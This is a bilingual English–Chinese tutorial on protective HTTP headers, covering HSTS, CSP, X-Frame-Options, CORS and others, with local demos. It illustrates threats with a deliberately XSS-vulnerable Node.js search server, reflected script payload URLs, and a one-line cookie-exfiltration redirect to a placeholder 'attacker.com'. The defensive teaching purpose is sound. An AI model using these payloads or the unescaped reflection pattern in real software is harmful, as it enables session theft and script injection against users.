使用这些HTTP标头保护您的Web应用程序

by Alex Nadalin

通过亚历克斯·纳达林

使用这些HTTP标头保护您的Web应用程序 (Secure your web application with these HTTP headers)

This is part 3 of a series on web security: part 2 was “Web Security: an introduction to HTTP

这是有关Web安全的系列文章的第3部分:第2部分是“ Web安全:HTTP简介

As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the response, besides sending the content that the client requested. Clients are then allowed to specify how a particular resource should be read, cached or secured.

正如我们在本系列前面的部分中已经看到的,服务器除了发送客户端请求的内容外,还可以发送HTTP标头为客户端提供围绕响应的其他元数据。 然后允许客户端指定应如何读取,缓存或保护特定资源。

There’s currently a very large spectrum of security-related headers that have been implemented by browsers in order to make it harder for attackers to take advantage of vulnerabilities. The next paragraphs try to summarize each and every one of them by explaining how they’re used, what kind of attacks they prevent, and a bit of history behind each header.

当前,浏览器已经实现了大量与安全相关的标头,以使攻击者更难利用漏洞。 下一段试图通过解释它们的使用方式,它们阻止的攻击类型以及每个标头背后的一些历史来总结它们中的每一个。

HTTP严格传输安全性(HSTS) (HTTP Strict Transport Security (HSTS))

Since late 2012, HTTPS-everywhere believers have found it easier to force a client to always use the secure version of the HTTP protocol, thanks to HTTP Strict Transport Security: a very simple Strict-Transport-Security: max-age=3600 will tell the browser that for the next hour (3600 seconds) it should not interact with the application with insecure protocols.

自2012年底以来,HTTPS遍布各地的信徒发现,由于HTTP严格传输安全性 ,强制客户端始终使用HTTP协议的安全版本更加容易:一个非常简单的Strict-Transport-Security: max-age=3600在接下来的一个小时(3600秒)内,浏览器不应与使用不安全协议的应用程序进行交互。

When a user tries to access an application secured by HSTS through HTTP, the browser will simply refuse to go ahead, automatically converting http:// URLs to https://.

当用户尝试通过HTTP访问由HSTS保护的应用程序时,浏览器将拒绝继续操作,将http:// URL自动转换为https://

You can test this locally with the code at github.com/odino/wasec/tree/master/hsts. You will need to follow the instructions in the README (they involve installing a trusted SSL certificate for localhost on your machine, through the amazing mkcert tool) and then try opening https://localhost:7889.

您可以使用github.com/odino/wasec/tree/master/hsts中的代码在本地进行测试。 您将需要按照自述文件中的说明进行操作(这涉及通过令人惊叹的mkcert工具在计算机上为localhost安装受信任的SSL证书),然后尝试打开https://localhost:7889

There are 2 servers in this example, an HTTPS one listening on 7889, and an HTTP one on port 7888. When you access the HTTPS server, it will always try to redirect you to the HTTP version, which will work since there is no HSTS policy on the HTTPS server. If you instead add the hsts=on parameter in your URL, the browser will forcefully convert the link in the redirect to its https:// version. Since the server at 7888 is http-only, you will end up staring at a page that looks more or less like this. ?

在此示例中,有2台服务器,其中HTTPS侦听7889 ,HTTP 1侦听端口7888 。 当您访问HTTPS服务器时,它将始终尝试将您重定向到HTTP版本,因为HTTPS服务器上没有HSTS策略,所以该版本将起作用。 如果改为在URL中添加hsts=on参数,则浏览器将强制将重定向中的链接转换为其https://版本。 由于位于7888的服务器仅支持http,因此您最终将盯着看起来或多或少像这样的页面。 ?

You might be wondering what happens the first time a user visits your website, as there is no HSTS policy defined beforehand: attackers could potentially trick the user to the http:// version of your website and perpetrate their attack there, so there’s still room for problems. That’s a valid concern, as HSTS is a trust on first use mechanism. What it tries to do is to make sure that, once you’ve visited a website, the browser knows that subsequent interaction must use HTTPS.

您可能想知道用户首次访问您的网站时会发生什么,因为事先没有定义HSTS策略:攻击者可能会诱骗用户使用您网站的http://版本并在网站上进行攻击,因此仍有空间解决问题。 这确实是一个问题,因为HSTS是对首次使用机制的信任 。 它试图做的是确保一旦您访问了网站,浏览器就会知道后续的交互必须使用HTTPS。

A way around this shortcoming would be to maintain a huge database of websites that enforce HSTS, something that Chrome does through hstspreload.org. You must first set your policy, then visit the website and check whether it’s eligible to be added to the database. For example, we can see Facebook made the list.

解决此缺陷的方法是维护一个庞大的网站数据库,以实施HSTS,Chrome可以通过hstspreload.org实现 。 您必须首先设置策略,然后访问网站并检查是否有资格将其添加到数据库中。 例如,我们可以看到Facebook列出了该列表。

By submitting your website to this list, you can tell browsers in advance that your site uses HSTS, so that even the first interaction between clients and your server will be over a secure channel. But this comes at a cost, as you really need to commit to HSTS. If, by any chance, you’d like your website to be removed from the list that’s no easy task for browser vendors:

通过将您的网站提交到此列表,您可以提前告知浏览器您的网站使用HSTS,这样,即使客户端与服务器之间的首次交互也将通过安全通道进行。 但这是有代价的,因为您确实需要致力于HSTS。 如果您希望将您的网站从列表中删除,这对于浏览器供应商而言并非易事:

Be aware that inclusion in the preload list cannot easily be undone.
请注意,无法轻松撤消预加载列表中的内容。
Domains can be removed, but it takes months for a change to reach users with a Chrome update and we cannot make guarantees about other browsers. Don’t request inclusion unless you’re sure that you can support HTTPS for your entire site and all its subdomains for the long term.
可以删除域,但是更改可能需要几个月的时间才能使用户使用Chrome更新,因此我们无法保证其他浏览器的安全。 除非您确定可以长期支持整个站点及其所有子域的HTTPS,否则不要请求包含。

Source: https://hstspreload.org/

资料来源: https : //hstspreload.org/

This happens because the vendor cannot guarantee that all users will be on the latest version of their browser, with your site removed from the list. Think carefully, and make a decision based on your degree of confidence in HSTS and your ability to support it on the long run.

发生这种情况是因为供应商无法保证所有用户都将使用其浏览器的最新版本,并且您的网站已从列表中删除。 仔细考虑,然后根据您对HSTS的信心程度以及长期支持它的能力做出决定。

HTTP公钥固定(HPKP) (HTTP Public Key Pinning (HPKP))

HTTP Public Key Pinning is a mechanism that allows us to advertise to the browser which SSL certificates to expect whenever it connects to our servers. It is a trust on first use header, just like HSTS, meaning that, once the client connects to our server, it will store the certificate’s info for subsequent interactions. If, at any point in time, the client detects that another certificate is being used by the server, it will politely refuse to connect, rendering man in the middle (MITM) attacks very hard to pull off.

HTTP公钥固定是一种机制,允许我们在连接到服务器时向浏览器通告期望使用的SSL证书。 就像HSTS一样,它是对首次使用标头的信任 ,这意味着,一旦客户端连接到我们的服务器,它将存储证书的信息以用于后续交互。 如果客户端在任何时间点检测到服务器正在使用另一个证书,它将礼貌地拒绝连接,从而使中间人 (MITM)攻击非常难以实施。

This is how a HPKP policy looks like:

HPKP策略如下所示:

Public-Key-Pins:  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";  max-age=3600; includeSubDomains;  report-uri="https://pkpviolations.example.org/collect"

The header advertises what certificates the server will use (in this case it’s two of them) using a hash of the certificates, and includes additional information such as the time-to-live of this directive (max-age=3600), and a few other details. Sadly, there’s no point in digging deeper to understand what we can do with public key pinning, as this feature is being deprecated by Chrome - a signal that its adoption is destined to plummet very soon.

标头使用证书的哈希值宣传服务器将使用的证书(在本例中为两个),并包含其他信息,例如此指令的生存时间( max-age=3600 )和其他一些细节。 可悲的是, 由于Chrome已弃用此功能 ,因此没有必要更深入地了解我们可以使用公钥固定进行的操作 -这表明它的采用注定会很快下降。

Chrome’s decision is not irrational, but simply a consequence of the risks associated with public key pinning. If you lose your certificate, or simply make a mistake while testing, your website will be inaccessible to users that have visited the website earlier (for the duration of the max-age directive, which is typically weeks or months).

Chrome的决定并非不合理,而仅仅是由于与公钥固定相关的风险。 如果您丢失了证书,或者只是在测试过程中犯了一个错误,那么早前访问该网站的用户将无法访问您的网站(在max-age指令的有效期内,通常为数周或数月)。

As a result of these potentially catastrophic consequences, adoption of HPKP has been extremely low, and there have been incidents where big-time websites have been unavailable because of a misconfiguration. All considered, Chrome decided users were better off without the protection offered by HPKP - and security researchers aren’t entirely against this decision.

由于这些潜在的灾难性后果,HPKP的采用率非常低,并且发生由于配置错误而无法使用大型网站的事件。 考虑到所有因素,Chrome决定用户在没有HPKP提供的保护的情况下会更好- 安全研究人员并不完全反对这一决定

期望CT (Expect-CT)

While HPKP has been deprecated, a new header stepped in to prevent fraudulent SSL certificates from being served to clients: Expect-CT.

在不推荐使用HPKP的同时,引入了新的标头以防止将欺诈性SSL证书提供给客户端: Expect-CT

The goal of this header is to inform the browser that it should perform additional “background checks” to ensure the certificate is genuine: when a server uses the Expect-CT header, it is fundamentally requesting the client to verify that the certificates being used are present in public Certificate Transparency (CT) logs.

此标头的目的是通知浏览器,它应该执行其他“后台检查”以确保证书是真实的:当服务器使用Expect-CT标头时,它从根本上要求客户端验证所使用的证书是否正确。存在于公共证书透明度(CT)日志中。

The Certificate Transparency initiative is an effort led by Google in order to provide:

证书透明度计划是Google领导的一项工作,旨在提供:

An open framework for monitoring and auditing SSL certificates in nearly real time.
一个开放的框架,用于几乎实时地监视和审核SSL证书。
Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.
具体而言,通过证书透明性,可以检测由证书颁发机构错误颁发的SSL证书或从原本无法企及的证书颁发机构恶意获取的SSL证书。 它还使识别出流氓并且恶意颁发证书的证书颁发机构成为可能。

Source: https://www.certificate-transparency.org/

资料来源: https : //www.certificate-transparency.org/

The header takes this form:

标头采用以下形式:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

In this example, the server is asking the browser to:

在此示例中,服务器要求浏览器执行以下操作:

  • enable CT verification for the current app for a period of 1 hour (3600 seconds)

    在1小时(3600秒)内为当前应用启用CT验证
  • enforce this policy and prevent access to the app if a violation occurs

    enforce此政策并在发生违规情况时阻止对应用程序的访问

  • send a report to the given URL if a violation occurs

    如果发生违规,将报告发送到给定的URL

The Certificate Transparency initiative’s goal is to detect mis-issued or malicious certificates (and rogue Certificate Authorities) earlier, faster, and more precisely than any other method used before.

证书透明性计划的目标是比以前使用的任何其他方法更早,更快,更准确地检测出错签或恶意证书(和流氓证书颁发机构)。

By opting-in using the Expect-CT header, you can take advantage of this initiative to improve your app’s security posture.

通过使用Expect-CT标头选择加入,您可以利用此计划来改善应用程序的安全性。

X框架选项 (X-Frame-Options)

Imagine seeing a web page such as this popping in front of your screen:

想象一下,这样的网页在屏幕前弹出:

As soon as you click on the link, you realize that all the money in your bank account is gone. What happened?

单击该链接,您立即意识到银行帐户中的所有钱都已耗尽。 发生了什么?

You were a victim of a clickjacking attack.

您是点击劫持攻击的受害者。

An attacker directed you to their website, which displays a very attractive link to click. Unfortunately, he also embedded in the page an iframe from your-bank.com/transfer?amount=-1&[attacker@gmail.com] but hid it by setting it’s opacity to 0%. What then happened is that thought of clicking on the original page, trying to win a brand-new hummer, but instead the browser captured a click on the iframe, a dangerous click that confirmed the transfer of money.

攻击者将您引导到他们的网站,该网站显示一个非常诱人的点击链接。 不幸的是,他还在your-bank.com/transfer?amount=-1& [attacker@gmail.com]嵌入了iframe,但通过将其不透明度设置为0%来隐藏了它。 然后发生的事情是想到单击原始页面,试图赢得全新的嗡嗡声,但是浏览器却捕获了对iframe的点击,这是危险的点击,确认了资金的转移。

Most banking systems require you to specify a one-time PIN code to confirm transactions, but your bank didn’t catch up with times and all of your money is gone.

大多数银行系统要求您指定一次PIN码以确认交易,但是您的银行没有赶上时间,您的所有钱都花光了。

The example is pretty extreme but should let you understand what could be the consequences of a clickjacking attack. The user intends to click on a particular link, while the browser will trigger a click on the “invisible” page that’s been embedded as an iframe.

这个例子非常极端,但是应该让您理解点击劫持攻击的后果。 用户打算单击特定的链接,而浏览器将触发对嵌入为iframe的“不可见”页面的单击。

I have included an example of this vulnerability at github.com/odino/wasec/tree/master/clickjacking. If you run the example and try clicking on the “appealing” link, you will see the actual click is intercepted by the iframe, which increases its opacity so that’s easier for you to spot the problem. The example should be accessible at http://localhost:7888.

我在github.com/odino/wasec/tree/master/clickjacking中包含了此漏洞的示例 。 如果运行示例并尝试单击“吸引人”链接,则将看到iframe拦截了实际的点击,这增加了iframe的不透明度,使您更容易发现问题。 该示例应该可以从http://localhost:7888

Luckily, browsers have come up with a simple solution to the problem: X-Frame-Options (XFO) which lets you decide whether your app can be embedded as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.

幸运的是,浏览器提出了一个解决该问题的简单方法: X-Frame-Options (XFO),使您可以决定是否可以将应用程序作为iframe嵌入到外部网站上。 XFO在Internet Explorer 8的普及下于2009年首次推出,目前仍受所有主要浏览器的支持。

The way it works is, when a browser sees an iframe, it loads it and verifies that its XFO allows its inclusion in the current page before rendering it.

它的工作方式是,当浏览器看到一个iframe时,它将加载它并验证其XFO是否允许在呈现前将其包含在当前页面中。

The supported values are:

支持的值为:

  • DENY: this web page cannot be embedded anywhere. This is the highest level of protection as it doesn’t allow anyone to embed our content.

    DENY :该网页无法嵌入任何地方。 这是最高的保护级别,因为它不允许任何人嵌入我们的内容。

  • SAMEORIGIN: only pages from the same domain as the current one can embed this page. This means that example.com/embedder can load example.com/embedded so long as its policy is set to SAMEORIGIN. This is a more relaxed policy that allows owners of a particular website to embed their own pages across their application.

    SAMEORIGIN :只有与当前域相同的域中的页面才能嵌入此页面。 这意味着example.com/embedder可以加载example.com/embedded ,只要其策略设置为SAMEORIGIN 。 这是一种更为宽松的策略,允许特定网站的所有者在其应用程序中嵌入自己的页面。

  • ALLOW-FROM uri: embedding is allowed from the specified URI. We could, for example, let an external, authorized website embed our content by using ALLOW-FROM https://external.com. This is generally used when you intend to allow a 3rd party to embed your content through an iframe

    ALLOW-FROM uri :允许从指定的URI嵌入。 例如,我们可以使用ALLOW-FROM https://external.com外部授权的网站嵌入我们的内容。 通常在您打算允许第三方通过iframe嵌入内容时使用

An example HTTP response that includes the strictest XFO policy possible looks like:

包含最严格的XFO策略的HTTP响应示例如下所示:

HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY
...

In order to showcase how browsers behave when XFO is enabled, we can simply change the URL of our example to http://localhost:7888/?xfo=on. The xfo=on parameter tells the server to include X-Frame-Options: deny in the response, and we can see how the browser restricts access to the iframe:

为了展示启用XFO时浏览器的行为,我们可以简单地将示例的URL更改为http://localhost:7888/?xfo=onxfo=on参数告诉服务器在响应中包含X-Frame-Options: deny ,我们可以看到浏览器如何限制对iframe的访问:

XFO was considered the best way to prevent frame-based clickjacking attacks until another header came into play years later, Content Security Policy or CSP for short.

XFO被认为是防止基于帧的点击劫持攻击的最佳方法,直到几年后又出现了另一个标题(简称“内容安全策略”或CSP)。

内容安全政策(CSP) (Content Security Policy (CSP))

The Content-Security-Policy header, often abbreviated to CSP, provides a next-generation utility belt for preventing a plethora of attacks, ranging from XSS (Cross-site Scripting) to clickjacking.

Content-Security-Policy标头(通常缩写为CSP)提供了下一代实用程序带,用于防止从XSS(跨站点脚本)到点击劫持的过多攻击。

To understand how CSP helps us, we should first think of an attack vector. Let’s say we just built our own Google Search, a simple input text with a submit button.

要了解CSP如何帮助我们,我们首先应该考虑一种攻击媒介。 假设我们刚刚构建了自己的Google搜索,即带有提交按钮的简单输入文本。

This web application does nothing magical. It just,

该Web应用程序没有神奇的功能。 它只是,

  • displays a form

    显示表格
  • lets the user execute a search

    让用户执行搜索
  • displays the search results alongside with the keyword the user searched for

    显示搜索结果以及用户搜索的关键字

When we execute a simple search, this is what the application returns:

当我们执行简单搜索时,应用程序将返回以下内容:

Amazing! Our application incredibly understood our search and found a related image. If we dig deeper in the source code, available at github.com/odino/wasec/tree/master/xss, we will soon realize that the application presents a security issue, as whatever keyword the user searches for is directly printed in the HTML response served to the client:

惊人! 我们的应用程序非常了解我们的搜索并找到了相关图像。 如果我们在github.com/odino/wasec/tree/master/xss上找到源代码,我们将很快意识到该应用程序存在安全问题,因为用户搜索的任何关键字都直接在HTML中打印。回应送达客户:

var qs = require('querystring')var url = require('url')var fs = require('fs')
require('http').createServer((req, res) => {  let query = qs.parse(url.parse(req.url).query)  let keyword = query.search || ''  let results = keyword ? `You searched for "${keyword}", we found:</br>&lt;img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))}).listen(7888)
<html>  <body>    <h1>Search The Web</h1>    <form>      <input type="text" name="search" value="__KEYWORD__" />      <input type="submit" />    </form>    <div id="results">      __RESULTS__    </div>  </body></html>

This presents a nasty consequence. An attacker can craft a specific link that executes arbitrary JavaScript within the victims browser.

这带来了令人讨厌的后果。 攻击者可以制作特定链接,该链接可以在受害者浏览器中执行任意JavaScript。

If you have the time and patience to run the example locally, you will be able to quickly understand the power of CSP. I’ve added a query string parameter that turns CSP on, so we can try navigating to a malicious URL with CSP turned on:

如果您有时间和耐心在本地运行该示例,则可以快速了解CSP的功能。 我添加了一个查询字符串参数来打开CSP,因此我们可以尝试在打开CSP的情况下导航到恶意URL:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

As you see in the example above, we have told the browser that our CSP policy only allows scripts included from the same origin of the current URL, which we can easily verify by curling the URL and viewing the response header:

如您在上面的示例中看到的,我们已经告诉浏览器,我们的CSP策略仅允许包含来自当前URL相同起源的脚本,我们可以通过卷曲URL并查看响应标头来轻松地进行验证:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"
HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src 'self'Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive

Since the XSS attack was perpetrated through an inline script (a script directly embedded in the HTML content), the browser politely refused to execute it, keeping our user safe. Imagine if, instead of simply displaying an alert dialog, the attacker would have set up a redirect to its own domain, through some JavaScript code that could look like:

由于XSS攻击是通过内联脚本 (直接嵌入HTML内容中的脚本)实施的,因此浏览器会礼貌地拒绝执行该脚本,从而确保用户安全。 想象一下,如果攻击者不是通过简单地显示警报对话框,而是会通过一些类似于以下代码JavaScript代码来设置重定向到其自己的域的:

window.location = `attacker.com/${document.cookie}`

They would have been able to steal all of the user’s cookies, which might contain highly sensitive data (more on this in the next article).

他们将能够窃取用户的所有cookie,其中可能包含高度敏感的数据(在下一篇文章中将对此进行更多介绍)。

By now, it should be clear how CSP helps us prevent a range of attacks on web applications. You define a policy and the browser will strictly adhere to it, refusing to run resources that would violate the policy.

到目前为止,应该很清楚CSP如何帮助我们防止对Web应用程序的一系列攻击。 您定义了策略,浏览器将严格遵守该策略,拒绝运行会违反该策略的资源。

An interesting variation of CSP is the report-only mode. Instead of using the Content-Security-Policy header, you can first test the impact of CSP on your website by telling the browser to simply report errors, without blocking script execution and so on, by using the Content-Security-Policy-Report-Only header.

CSP的一个有趣变化是仅报告模式。 除了使用Content-Security-Policy标头之外,您还可以通过使用Content-Security-Policy-Report-Only告诉浏览器仅报告错误而不阻止脚本执行等来测试CSP对网站的影响。 Content-Security-Policy-Report-Only标头。

Reporting will allow you to understand what breaking changes the CSP policy you’d like to roll out might cause, and fix them accordingly. We can even specify a report URL and the browser will send us a report. Here’s a full example of a report-only policy:

通过报告,您可以了解要推出的CSP策略可能引起的重大更改,并进行相应的修复。 我们甚至可以指定报告URL,浏览器将向我们发送报告。 这是仅报告政策的完整示例:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP policies can be a bit complex on their own, such as in the following example:

CSP策略本身可能有点复杂,例如以下示例:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

This policy defines the following rules:

该策略定义以下规则:

  • executable scripts (eg. JavaScript) can only be loaded from scripts.example.com

    可执行脚本(例如JavaScript)只能从scripts.example.com加载

  • images may be loaded from any origin (img-src: *)

    可以从任何来源加载图像( img-src: * )

  • video or audio content can be loaded from two origins: medias.example.com and medias.legacy.example.com

    可以从两个来源加载视频或音频内容: medias.example.commedias.legacy.example.com

As you can see, policies can become lengthy, and if we want to ensure the highest protection for our users this can become quite a tedious process. Nevertheless, writing a comprehensive CSP policy is an important step towards adding an additional layer of security to our web applications.

如您所见,策略可能会变得冗长,并且,如果我们要确保为用户提供最高的保护,这可能会变得很繁琐。 但是,编写全面的CSP策略是向我们的Web应用程序添加附加安全层的重要一步。

For more information around CSP I would recommend a deep dive at developer.mozilla.org/en-US/docs/Web/HTTP/CSP.

有关CSP的更多信息,我建议您深度访问developer.mozilla.org/en-US/docs/Web/HTTP/CSP

X-XSS保护 (X-XSS-Protection)

Although superseded by CSP, the X-XSS-Protection header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that don’t fully support CSP. This header is not supported by Firefox.

尽管已被CSP取代,但X-XSS-Protection标头提供了类似的保护类型。 此标头用于缓解不完全支持CSP的旧版浏览器中的XSS攻击。 Firefox不支持此标头。

Its syntax is very similar to what we’ve just seen:

它的语法与我们刚刚看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

Reflected XSS is the most common type of attack, where an unsanitized input gets printed by the server without any validation, and it’s where this header truly shines. If you want to see this yourself, I would recommend to try out the example at github.com/odino/wasec/tree/master/xss as, by appending xss=on to the URL, it shows what a browser does when XSS protection is turned on. If we enter a malicious string in our search box, such as <script>alert('hello')<;/script>, the browser will politely refuse to execute the script, and explain the reasoning behind its decision:

反映的XSS是最常见的攻击类型,其中未经处理的输入会在未经任何验证的情况下由服务器打印出来,这正是此标头真正发挥作用的地方。 如果您想自己看看,我建议尝试在github.com/odino/wasec/tree/master/xss上尝试该示例,因为通过将xss=on附加到URL,它可以显示XSS保护时浏览器的工作方式已开启。 如果我们在搜索框中输入一个恶意字符串,例如<script>alert('hello')< ; / script>,浏览器将礼貌地拒绝执行该脚本,并解释其决定的原因:

The XSS Auditor refused to execute a script in'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'because its source code was found within the request.The server sent an 'X-XSS-Protection' header requesting this behavior.

Even more interesting is Chrome’s default behavior when the webpage does not specify any CSP or XSS policy, a scenario we can test by adding the xss=off parameter to our URL (http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off):

当网页未指定任何CSP或XSS策略时,Chrome的默认行为更加有趣,我们可以通过在URL中添加xss=off参数来测试这种情况( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):

Amazing, Chrome’s cautious enough that it will prevent the page from rendering, making reflected XSS very difficult to pull off. It’s impressive to see how far browsers have come.

令人惊奇的是,Chrome十分谨慎,以至于它会阻止页面呈现,这使得反射XSS很难实现。 令人印象深刻的是浏览器已经面世了。

功能政策 (Feature policy)

In July 2018, security researcher Scott Helme published a very interesting blog post detailing a new security header in the making: Feature-Policy.

2018年7月,安全研究员Scott Helme发表了一篇非常有趣的博客文章,详细介绍了正在制定的新安全标题: Feature-Policy

Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header lets us define whether a specific browser feature is enabled within the current page. With a syntax very similar to CSP, we should have no issue understanding what a feature policy such as the following one means:

当前只有很少的浏览器(在撰写本文时是Chrome和Safari)受支持,此标头使我们可以定义是否在当前页面中启用了特定的浏览器功能。 使用非常类似于CSP的语法,我们应该毫无疑问地了解一种功能策略,例如以下一种含义:

Feature-Policy: vibrate 'self'; push *; camera 'none'

If we still have a few doubts about how this policy impacts the browser APIs available to the page, we can simply dissect it:

如果我们对该政策如何影响该页面可用的浏览器API仍有疑问,我们可以对其进行剖析:

  • vibrate 'self': this will allow the current page to use the vibration API and any nested browsing contexts (iframes) on the same origin

    vibrate 'self' :这将允许当前页面在同一来源使用振动API和任何嵌套的浏览上下文(iframe)

  • push *: the current page and any iframe can use the push notification API

    push * :当前页面和任何iframe均可使用推送通知API

  • camera 'none': access to the camera API is denied to the current page and any nested context (iframes)

    camera 'none' :当前页面和任何嵌套上下文(iframe)均拒绝访问camera API

The feature policy might have a short history, but it doesn’t hurt to get a head start. If your website allows users to, for example, take a selfie or record audio, it would be quite beneficial to use a policy that restricts other contexts from accessing the API through your page.

功能策略的历史可能很短,但是抢先一步并没有什么坏处。 例如,如果您的网站允许用户拍摄自拍照或录制音频,则使用限制其他上下文通过您的页面访问API的策略将非常有益。

X内容类型选项 (X-Content-Type-Options)

Sometimes, clever browser features end up hurting us from a security standpoint. A clear example is MIME-sniffing, a technique popularized by Internet Explorer.

有时,从安全角度来看,聪明的浏览器功能最终会伤害我们。 一个明显的例子是MIME嗅探,它是Internet Explorer流行的一种技术。

MIME-sniffing is the ability, for a browser, to auto-detect (and fix) the content type of a resource it is downloading. For example, we ask the browser to render an image at /awesome-picture.png, but the server sets the wrong type when serving it to the browser (for example, Content-Type: text/plain). This would generally result in the browser not being able to display the image properly.

对于浏览器来说,MIME嗅探功能可以自动检测(并修复)正在下载的资源的内容类型。 例如,我们要求浏览器在/awesome-picture.png处渲染图像,但是服务器在将图像提供给浏览器时设置了错误的类型(例如, Content-Type: text/plain )。 这通常会导致浏览器无法正确显示图像。

In order to fix the issue, IE went to great lengths to implement a MIME-sniffing capability: when downloading a resource, the browser would “scan” it and, if it would detect that the resource’s content type is not the one advertised by the server in the Content-Type header, it would ignore the type sent by the server and interpret the resource according to the type detected by the browser.

为了解决此问题,IE竭尽全力实现MIME嗅探功能:下载资源时,浏览器会“扫描”它,并且如果它检测到资源的内容类型不是该资源所宣传的内容类型。服务器在Content-Type标头中,它将忽略服务器发送的类型,并根据浏览器检测到的类型解释资源。

Now, imagine hosting a website that allows users to upload their own images, and imagine a user uploading a /test.jpg file that contains JavaScript code. See where this is going? Once the file is uploaded, the site would include it in its own HTML and, when the browser would try to render the document, it would find the “image” the user just uploaded. As the browser downloads the image, it would detect that it’s a script instead, and execute it on the victim’s browser.

现在,假设托管一个允许用户上传自己的图像的网站,并想象一个用户上传包含JavaScript代码的/test.jpg文件。 看到这是怎么回事? 文件上传后,网站将在其自己HTML中包含该文件,当浏览器尝试呈现文档时,它将找到用户刚刚上传的“图像”。 当浏览器下载图像时,它将检测到它是一个脚本,然后在受害者的浏览器中执行它。

To avoid this issue, we can set the X-Content-Type-Options: nosniff header that completely disables MIME-sniffing: by doing so, we are telling the browser that we’re fully aware that some file might have a mismatch in terms of type and content, and the browser should not worry about it. We know what we’re doing, so the browser shouldn’t try to guess things, potentially posing a security threat to our users.

为避免此问题,我们可以设置X-Content-Type-Options: nosniff标头以完全禁用MIME嗅探:通过这样做,我们告诉浏览器我们已经完全意识到某些文件的术语可能不匹配类型和内容,浏览器不必担心。 我们知道我们在做什么,因此浏览器不应尝试猜测,可能会对我们的用户构成安全威胁。

跨域资源共享(CORS) (Cross-Origin Resource Sharing (CORS))

On the browser, through JavaScript, HTTP requests can only be triggered across the same origin. Simply put, an AJAX request from example.com can only connect to example.com.

在浏览器上,通过JavaScript,HTTP请求只能跨相同的源触发。 简而言之,来自example.com的AJAX请求只能连接到example.com

This is because your browser contains useful information for an attacker - cookies, which are generally used to keep track of the user’s session. Imagine if an attacker would set up a malicious page at win-a-hummer.com that immediately triggers an AJAX request to your-bank.com. If you’re logged in on the bank’s website, the attacker would then be able to execute HTTP requests with your credentials, potentially stealing information or, worse, wiping your bank account out.

这是因为您的浏览器包含对攻击者有用的信息-Cookies,通常用于跟踪用户会话。 想象一下,如果攻击者在win-a-hummer.com上设置了恶意页面,该页面立即触发对your-bank.com的AJAX请求。 如果您登录到银行的网站,则攻击者将能够使用您的凭据执行HTTP请求,从而可能窃取信息,或者更糟的是清除您的银行帐户。

There might be some cases, though, that require you to execute cross-origin AJAX requests, and that is the reason browsers implement Cross Origin Resource Sharing (CORS), a set of directives that allow you to execute cross-domain requests.

但是,在某些情况下,可能需要执行跨域AJAX请求,这就是浏览器实现跨源资源共享(CORS)的原因,CORS是允许您执行跨域请求的一组指令。

The mechanics behind CORS is quite complex, and it won’t be practical for us to go over the whole specification, so I am going to focus on a “stripped down” version of CORS.

CORS背后的机制非常复杂,对我们而言,要遍历整个规范并不切合实际,因此,我将重点介绍CORS的“精简版”版本。

All you need to know, for now, is that by using the Access-Control-Allow-Origin header, your application tells the browser that it’s ok to receive requests from other origins.

现在,您只需要知道通过使用Access-Control-Allow-Origin标头,您的应用程序就会告诉浏览器可以接收来自其他来源的请求。

The most relaxed form of this header is Access-Control-Allow-Origin: *, which allows any origin to access our application, but we can restrict it by simply adding the URL we want to whitelist with Access-Control-Allow-Origin: https://example.com.

此标头最宽松的形式是Access-Control-Allow-Origin: * ,它允许任何来源访问我们的应用程序,但是我们可以通过简单地添加我们要使用Access-Control-Allow-Origin: https://example.com列入白名单的URL来限制它Access-Control-Allow-Origin: https://example.com

If we take a look at the example at github.com/odino/wasec/tree/master/cors we can clearly see how the browser prevents access to a resource on a separate origin. I have set up the example to make an AJAX request from test-cors to test-cors-2, and print the result of the operation to the browser. When the server behind test-cors-2 is instructed to use CORS, the page works as you would expect. Try navigating to http://cors-test:7888/?cors=on

如果我们看一下github.com/odino/wasec/tree/master/cors上的示例,我们可以清楚地看到浏览器如何阻止访问单独来源的资源。 我已经设置了示例,以从test-corstest-cors-2发出AJAX请求,并将操作结果打印到浏览器。 当指示test-cors-2后面的服务器使用CORS时,页面将按预期工作。 尝试浏览至http://cors-test:7888/?cors=on

But when we remove the cors parameter from the URL, the browser intervenes and prevents us from accessing the content of the response:

但是,当我们从URL中删除cors参数时,浏览器会干预并阻止我们访问响应的内容:

An important aspect we need to understand is that the browser executed the request, but prevented the client from accessing it. This is extremely important, as it still leaves us vulnerable if our request would have triggered any side effect on the server. Imagine, for example, if our bank would allow the transfer of money by simply calling the url my-bank.com/transfer?amount=1000&from=me&to=attacker. That would be a disaster!

